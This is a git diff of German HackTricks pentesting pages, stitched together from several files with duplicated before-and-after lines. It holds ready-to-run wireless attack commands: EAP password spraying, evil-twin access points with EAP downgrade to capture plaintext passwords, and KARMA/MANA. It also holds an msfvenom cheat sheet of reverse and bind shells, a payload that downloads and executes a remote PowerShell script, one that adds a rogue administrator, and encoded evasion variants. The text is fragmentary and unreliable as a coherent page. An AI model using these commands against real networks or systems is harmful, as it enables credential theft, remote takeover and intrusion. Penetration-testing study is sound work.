* EAP-Identität = anonym@realm\_x
* In dieser Situation verbergen Benutzer aus verschiedenen Bereichen ihre Identitäten, während sie ihre jeweiligen Bereiche angeben. Dies ermöglicht es dem anfänglichen RADIUS-Server, die EAP-PEAP- oder EAP-TTLS-Anfragen an RADIUS-Server in ihren Heimatbereichen weiterzuleiten, die als PEAP- oder TTLS-Server fungieren. Der anfängliche RADIUS-Server fungiert ausschließlich als RADIUS-Relay-Knoten.
* Alternativ kann der anfängliche RADIUS-Server als EAP-PEAP- oder EAP-TTLS-Server fungieren und entweder die geschützte Authentifizierungsmethode behandeln oder an einen anderen Server weiterleiten. Diese Option erleichtert die Konfiguration unterschiedlicher Richtlinien für verschiedene Bereiche.
In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanfrage und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanfrage, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
In EAP-PEAP, sobald der TLS-Tunnel zwischen dem PEAP-Server und dem PEAP-Client eingerichtet ist, initiiert der PEAP-Server eine EAP-Identitätsanforderung und überträgt sie durch den TLS-Tunnel. Der Client antwortet auf diese zweite EAP-Identitätsanforderung, indem er eine EAP-Identitätsantwort sendet, die die wahre Identität des Benutzers durch den verschlüsselten Tunnel enthält. Dieser Ansatz verhindert effektiv die Offenlegung der tatsächlichen Identität des Benutzers gegenüber jedem, der den 802.11-Verkehr abhört.
EAP-TTLS folgt einem etwas anderen Verfahren. Bei EAP-TTLS authentifiziert sich der Client typischerweise mit PAP oder CHAP, gesichert durch den TLS-Tunnel. In diesem Fall enthält der Client ein User-Name-Attribut und entweder ein Passwort- oder CHAP-Passwort-Attribut in der ersten TLS-Nachricht, die nach der Tunnelherstellung gesendet wird.
Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollebene weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die EAP-PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name-Attribut und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollebene weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die PEAP-PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name-Attribut und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
Für weitere Informationen siehe [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
### EAP-Bruteforce (password spray)
Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig sein wird**), dann könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig ist**), dann könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -459,7 +459,7 @@ Du könntest diesen Angriff auch mit `eaphammer` durchführen:
* Stationen speichern die ESSID jedes drahtlosen Netzwerks, mit dem sie sich verbinden, in ihrer Bevorzugten Netzwerk Liste (PNL), zusammen mit netzwerkspezifischen Konfigurationsdetails.
* Die PNL wird verwendet, um automatisch eine Verbindung zu bekannten Netzwerken herzustellen, was die Benutzererfahrung verbessert, indem der Verbindungsprozess optimiert wird.
### Passive Scans
### Passive Scanning
* APs senden regelmäßig Beacon-Frames aus, die ihre Präsenz und Merkmale ankündigen, einschließlich der ESSID des APs, es sei denn, das Broadcasting ist deaktiviert.
* Während des passiven Scannens lauschen Stationen auf Beacon-Frames. Wenn die ESSID eines Beacons mit einem Eintrag in der PNL der Station übereinstimmt, kann die Station automatisch eine Verbindung zu diesem AP herstellen.
@ -468,12 +468,12 @@ Du könntest diesen Angriff auch mit `eaphammer` durchführen:
### Aktives Probing
* Aktives Probing beinhaltet, dass Stationen Probe-Anfragen senden, um nahegelegene APs und deren Eigenschaften zu entdecken.
* Gezielt gerichtete Probe-Anfragen zielen auf eine bestimmte ESSID ab und helfen festzustellen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
* Gerichtet Probe-Anfragen zielen auf eine spezifische ESSID ab und helfen festzustellen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
* Broadcast-Probe-Anfragen haben ein leeres SSID-Feld und werden an alle nahegelegenen APs gesendet, sodass die Station nach einem bevorzugten Netzwerk suchen kann, ohne den Inhalt ihrer PNL offenzulegen.
## Einfacher AP mit Umleitung ins Internet
Bevor erklärt wird, wie man komplexere Angriffe durchführt, wird erklärt, **wie** man einfach einen **AP** **erstellen** und seinen **Verkehr** an eine Schnittstelle umleiten kann, die mit dem **Internet** verbunden ist.
Bevor erklärt wird, wie man komplexere Angriffe durchführt, wird erklärt **wie** man einfach einen **AP** erstellt und seinen **Verkehr** an eine Schnittstelle umleitet, die mit dem **Internet** verbunden ist.
Verwenden Sie `ifconfig -a`, um zu überprüfen, ob die wlan-Schnittstelle zum Erstellen des AP und die Schnittstelle, die mit dem Internet verbunden ist, vorhanden sind.
@ -549,7 +549,7 @@ Sie können einen sehr einfachen Open Evil Twin (ohne die Fähigkeit, den Datenv
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Du könntest auch einen Evil Twin mit **eaphammer** erstellen (beachte, dass die Schnittstelle **NICHT** im **Monitor**-Modus sein **sollte**):
Sie könnten auch einen Evil Twin mit **eaphammer** erstellen (beachten Sie, dass die Schnittstelle **NICHT** im **Monitor**-Modus sein **sollte**):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -590,7 +590,7 @@ In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Standardmäßig bietet EAPHammer diese Authentifizierungsmethoden an (beachten Sie GTC als die erste, die versucht, Klartextpasswörter zu erhalten, und dann die Verwendung robusterer Auth-Methoden):
Standardmäßig bietet EAPHammer diese Authentifizierungsmethoden an (beachten Sie GTC als die erste, die versucht, Klartextpasswörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
@ -600,9 +600,9 @@ Dies ist die Standardmethodik, um lange Verbindungszeiten zu vermeiden. Sie kön
```
Oder Sie könnten auch verwenden:
* `--negotiate gtc-downgrade`, um eine hocheffiziente GTC-Downgrade-Implementierung (Klartext-Passwörter) zu verwenden
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP`, um die angebotenen Methoden manuell anzugeben (wenn die gleichen Authentifizierungsmethoden in der gleichen Reihenfolge wie die Organisation angeboten werden, wird der Angriff viel schwieriger zu erkennen sein).
* [Weitere Informationen im Wiki finden](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* `--negotiate gtc-downgrade` um eine hocheffiziente GTC-Downgrade-Implementierung (Klartext-Passwörter) zu verwenden
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` um die angebotenen Methoden manuell anzugeben (das Anbieten der gleichen Authentifizierungsmethoden in der gleichen Reihenfolge wie die Organisation macht den Angriff viel schwieriger zu erkennen).
* [Finden Sie weitere Informationen im Wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Verwendung von Airgeddon**
@ -620,7 +620,7 @@ Dies wird `hostapd-wpe` dazu bringen, **Schlüssel mit RSA auszutauschen** anste
Starten Sie nun den **Evil Twin** mit **`hostapd-wpe`** mit dieser modifizierten Konfiguration wie gewohnt. Starten Sie auch **`wireshark`** in der **Schnittstelle**, die den Evil Twin-Angriff durchführt.
Jetzt oder später (wenn Sie bereits einige Authentifizierungsversuche erfasst haben) können Sie den privaten RSA-Schlüssel in Wireshark hinzufügen unter: `Bearbeiten --> Einstellungen --> Protokolle --> TLS --> (RSA-Schlüsselliste) Bearbeiten...`
Jetzt oder später (wenn Sie bereits einige Authentifizierungsversuche erfasst haben) können Sie den privaten RSA-Schlüssel zu Wireshark hinzufügen unter: `Bearbeiten --> Einstellungen --> Protokolle --> TLS --> (RSA-Schlüsselliste) Bearbeiten...`
Fügen Sie einen neuen Eintrag hinzu und füllen Sie das Formular mit diesen Werten aus: **IP-Adresse = beliebig** -- **Port = 0** -- **Protokoll = Daten** -- **Schlüsseldatei** (**wählen Sie Ihre Schlüsseldatei aus**, um Probleme zu vermeiden, wählen Sie eine Schlüsseldatei **ohne Passwortschutz**).
@ -630,7 +630,7 @@ Und schauen Sie sich die neue **"Entschlüsselte TLS"-Registerkarte** an:
![](<../../.gitbook/assets/image (231).png>)
## KARMA, MANA, Lautes MANA und Bekannte Beacon-Angriffe
## KARMA, MANA, Laut MANA und Bekannte Beacon-Angriffe
### ESSID- und MAC-Blacklist/Whitelist
@ -641,7 +641,7 @@ Verschiedene Arten von Media Access Control Filterlisten (MFACLs) und deren ents
2. **MAC-basierte Blacklist**:
* Der bösartige AP ignoriert Probeanforderungen von Geräten auf der Blacklist, wodurch der bösartige AP für diese spezifischen Geräte unsichtbar wird.
3. **SSID-basierte Whitelist**:
* Der bösartige AP antwortet nur auf Probeanforderungen für spezifische ESSIDs, die aufgelistet sind, und wird für Geräte, deren Bevorzugte Netzwerklisten (PNLs) diese ESSIDs nicht enthalten, unsichtbar.
* Der bösartige AP antwortet nur auf Probeanforderungen für bestimmte ESSIDs, die aufgelistet sind, und wird für Geräte, deren Bevorzugte Netzwerklisten (PNLs) diese ESSIDs nicht enthalten, unsichtbar.
4. **SSID-basierte Blacklist**:
* Der bösartige AP antwortet nicht auf Probeanforderungen für die spezifischen ESSIDs auf der Blacklist, wodurch er für Geräte, die nach diesen bestimmten Netzwerken suchen, unsichtbar wird.
```bash
@ -665,13 +665,13 @@ name3
```
### KARMA
Diese Methode ermöglicht es einem **Angreifer, einen bösartigen Access Point (AP) zu erstellen, der auf alle Probeanfragen** von Geräten reagiert, die versuchen, sich mit Netzwerken zu verbinden. Diese Technik **täuscht Geräte, indem sie sie dazu bringt, sich mit dem AP des Angreifers zu verbinden**, indem sie die Netzwerke imitiert, nach denen die Geräte suchen. Sobald ein Gerät eine Verbindungsanfrage an diesen bösartigen AP sendet, wird die Verbindung hergestellt, was dazu führt, dass das Gerät fälschlicherweise mit dem Netzwerk des Angreifers verbunden wird.
Diese Methode ermöglicht es einem **Angreifer, einen bösartigen Access Point (AP) zu erstellen, der auf alle Probe-Anfragen** von Geräten reagiert, die versuchen, sich mit Netzwerken zu verbinden. Diese Technik **täuscht Geräte, indem sie sie dazu bringt, sich mit dem AP des Angreifers zu verbinden**, indem sie die Netzwerke nachahmt, nach denen die Geräte suchen. Sobald ein Gerät eine Verbindungsanfrage an diesen bösartigen AP sendet, wird die Verbindung hergestellt, was dazu führt, dass das Gerät fälschlicherweise mit dem Netzwerk des Angreifers verbunden wird.
### MANA
Dann **begannen Geräte, unaufgeforderte Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probeanfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten angefordert wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
Dann **begannen Geräte, unaufgeforderte Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten angefordert wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
Der MANA-Angriff funktioniert, indem er sowohl gerichtete als auch Broadcast-Probeanfragen von Geräten überwacht. Bei gerichteten Anfragen zeichnet er die MAC-Adresse des Geräts und den angeforderten Netzwerknamen auf und fügt diese Informationen einer Liste hinzu. Wenn eine Broadcast-Anfrage empfangen wird, antwortet der AP mit Informationen, die mit einem der Netzwerke auf der Liste des Geräts übereinstimmen, und verleitet das Gerät dazu, sich mit dem bösartigen AP zu verbinden.
Der MANA-Angriff funktioniert, indem er sowohl gerichtete als auch Broadcast-Probe-Anfragen von Geräten überwacht. Bei gerichteten Anfragen zeichnet er die MAC-Adresse des Geräts und den angeforderten Netzwerknamen auf und fügt diese Informationen einer Liste hinzu. Wenn eine Broadcast-Anfrage empfangen wird, antwortet der AP mit Informationen, die mit einem der Netzwerke auf der Liste des Geräts übereinstimmen, und verleitet das Gerät dazu, sich mit dem bösartigen AP zu verbinden.
```bash
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -683,9 +683,9 @@ Ein **Loud MANA-Angriff** ist eine fortgeschrittene Strategie, wenn Geräte kein
```
### Bekannter Beacon-Angriff
Wenn der **Loud MANA Angriff** möglicherweise nicht ausreicht, bietet der **Bekannte Beacon-Angriff** einen weiteren Ansatz. Diese Methode **brute-forced den Verbindungsprozess, indem sie einen AP simuliert, der auf jeden Netzwerknamen reagiert und durch eine Liste potenzieller ESSIDs aus einer Wortliste zirkuliert**. Dies simuliert die Anwesenheit zahlreicher Netzwerke, in der Hoffnung, eine ESSID innerhalb der PNL des Opfers zu treffen, was einen Verbindungsversuch zum gefälschten AP auslöst. Der Angriff kann verstärkt werden, indem er mit der `--loud` Option kombiniert wird, um einen aggressiveren Versuch zu unternehmen, Geräte zu fangen.
Wenn der **Loud MANA Angriff** möglicherweise nicht ausreicht, bietet der **Bekannte Beacon-Angriff** einen weiteren Ansatz. Diese Methode **brute-forced den Verbindungsprozess, indem sie einen AP simuliert, der auf jeden Netzwerknamen reagiert und durch eine Liste potenzieller ESSIDs aus einer Wortliste wechselt**. Dies simuliert die Präsenz zahlreicher Netzwerke, in der Hoffnung, eine ESSID innerhalb der PNL des Opfers zu treffen, was einen Verbindungsversuch zum gefälschten AP auslöst. Der Angriff kann verstärkt werden, indem er mit der `--loud` Option kombiniert wird, um einen aggressiveren Versuch zu unternehmen, Geräte zu fangen.
Eaphammer hat diesen Angriff als MANA-Angriff implementiert, bei dem alle ESSIDs in einer Liste geladen werden (Sie könnten dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
Eaphammer implementierte diesen Angriff als MANA-Angriff, bei dem alle ESSIDs in einer Liste geladen werden (Sie könnten dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -702,7 +702,7 @@ Der **Bekannte Beacon Burst Angriff** beinhaltet **schnelles Senden von Beacon-F
```
## Wi-Fi Direct
**Wi-Fi Direct** ist ein Protokoll, das es Geräten ermöglicht, sich direkt über Wi-Fi miteinander zu verbinden, ohne dass ein traditioneller drahtloser Zugangspunkt erforderlich ist. Diese Fähigkeit ist in verschiedenen Internet of Things (IoT)-Geräten integriert, wie Druckern und Fernsehern, und erleichtert die direkte Kommunikation zwischen Geräten. Ein bemerkenswertes Merkmal von Wi-Fi Direct ist, dass ein Gerät die Rolle eines Zugangspunkts übernimmt, bekannt als der Gruppenbesitzer, um die Verbindung zu verwalten.
**Wi-Fi Direct** ist ein Protokoll, das es Geräten ermöglicht, direkt miteinander über Wi-Fi zu kommunizieren, ohne dass ein traditioneller drahtloser Zugangspunkt erforderlich ist. Diese Fähigkeit ist in verschiedenen Internet of Things (IoT)-Geräten integriert, wie Druckern und Fernsehern, und erleichtert die direkte Kommunikation zwischen Geräten. Ein bemerkenswertes Merkmal von Wi-Fi Direct ist, dass ein Gerät die Rolle eines Zugangspunkts übernimmt, bekannt als der Gruppenbesitzer, um die Verbindung zu verwalten.
Die Sicherheit für Wi-Fi Direct-Verbindungen wird durch **Wi-Fi Protected Setup (WPS)** gewährleistet, das mehrere Methoden für eine sichere Kopplung unterstützt, darunter:
@ -714,7 +714,7 @@ Diese Methoden, insbesondere die PIN-Eingabe, sind anfällig für die gleichen S
### EvilDirect Hijacking
**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, sich mit einer bösartigen Entität zu verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und die MAC-Adresse des impersonierten Geräts angegeben werden:
**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, damit sie sich mit einer bösartigen Entität verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und die MAC-Adresse des impersonierten Geräts angegeben werden:
## References
@ -731,7 +731,7 @@ Diese Methoden, insbesondere die PIN-Eingabe, sind anfällig für die gleichen S
TODO: Schau dir [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) an (Login mit Facebook und Imitation von WPA in Captive Portalen)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -739,7 +739,7 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
Engagiere dich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleibe auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeit-Nachrichten und Einblicke
Bleibe auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -756,7 +756,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -6,7 +6,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Unterstützen Sie HackTricks</summary>
<summary>Support HackTricks</summary>
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -15,7 +15,7 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -23,7 +23,7 @@ Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit-Hack-Nachrichten**\
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeit-Nachrichten und Einblicke
Bleiben Sie auf dem Laufenden über die schnelllebige Hacking-Welt durch Echtzeitnachrichten und Einblicke
**Neueste Ankündigungen**\
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
@ -90,7 +90,11 @@ msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ex
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
```
{% endcode %}
### Encoder
{% code overflow="wrap" %}
```bash
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
```
@ -106,7 +110,7 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
## Linux-Payloads
### Reverse-Shell
### Reverse Shell
{% code overflow="wrap" %}
```bash
@ -142,6 +146,8 @@ msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ma
{% endcode %}
### **Bind Shell**
{% code overflow="wrap" %}
```bash
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
```
@ -209,13 +215,17 @@ msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw >
```bash
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
```
{% endcode %}
### **Bash**
{% code overflow="wrap" %}
```bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -223,10 +233,10 @@ Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Serve
Engagiere dich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
**Echtzeit Hack Nachrichten**\
Bleibe auf dem Laufenden über die schnelllebige Welt des Hackens durch Echtzeitnachrichten und Einblicke
Bleibe auf dem Laufenden über die schnelllebige Hack-Welt durch Echtzeit-Nachrichten und Einblicke
**Neueste Ankündigungen**\
Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
Bleibe informiert über die neuesten Bug-Bounties, die gestartet werden, und wichtige Plattform-Updates
**Tritt uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginne noch heute mit den besten Hackern zusammenzuarbeiten!

View file

@ -15,7 +15,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Tritt dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
@ -41,7 +41,7 @@ Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
* [ ] **Überprüfe**, ob die [**sudo-Version** anfällig ist](privilege-escalation/#sudo-version)
* [ ] [**Dmesg** Signaturüberprüfung fehlgeschlagen](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Weitere Systemenumeration ([Datum, Systemstatistiken, CPU-Informationen, Drucker](privilege-escalation/#more-system-enumeration))
* [ ] [Weitere Abwehrmaßnahmen enumerieren](privilege-escalation/#enumerate-possible-defenses)
* [ ] [**Weitere Abwehrmaßnahmen enumerieren**](privilege-escalation/#enumerate-possible-defenses)
### [Laufwerke](privilege-escalation/#drives)
@ -56,8 +56,8 @@ Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
### [Prozesse](privilege-escalation/#processes)
* [ ] Läuft **irgendwelche unbekannte Software**?
* [ ] Läuft Software mit **mehr Privilegien als sie haben sollte**?
* [ ] Läuft irgendeine **unbekannte Software**?
* [ ] Läuft irgendeine Software mit **mehr Rechten als sie haben sollte**?
* [ ] Suche nach **Exploits von laufenden Prozessen** (insbesondere der laufenden Version).
* [ ] Kannst du die **Binärdatei** eines laufenden Prozesses **modifizieren**?
* [ ] **Überwache Prozesse** und überprüfe, ob ein interessanter Prozess häufig läuft.
@ -83,35 +83,35 @@ Bleibe informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
### [Sockets](privilege-escalation/#sockets)
* [ ] Gibt es eine **beschreibbare .socket**-Datei?
* [ ] Kannst du mit **irgendeinem Socket kommunizieren**?
* [ ] Kannst du mit einem **Socket kommunizieren**?
* [ ] **HTTP-Sockets** mit interessanten Informationen?
### [D-Bus](privilege-escalation/#d-bus)
* [ ] Kannst du mit **irgendeinem D-Bus kommunizieren**?
* [ ] Kannst du mit einem **D-Bus kommunizieren**?
### [Netzwerk](privilege-escalation/#network)
* [ ] Enumere das Netzwerk, um zu wissen, wo du bist
* [ ] **Offene Ports, auf die du vorher keinen Zugriff hattest**, um eine Shell im Inneren der Maschine zu erhalten?
* [ ] Kannst du **Traffic sniffen** mit `tcpdump`?
* [ ] Kannst du **Verkehr** mit `tcpdump` **sniffen**?
### [Benutzer](privilege-escalation/#users)
* [ ] Generische Benutzer/Gruppen **Enumeration**
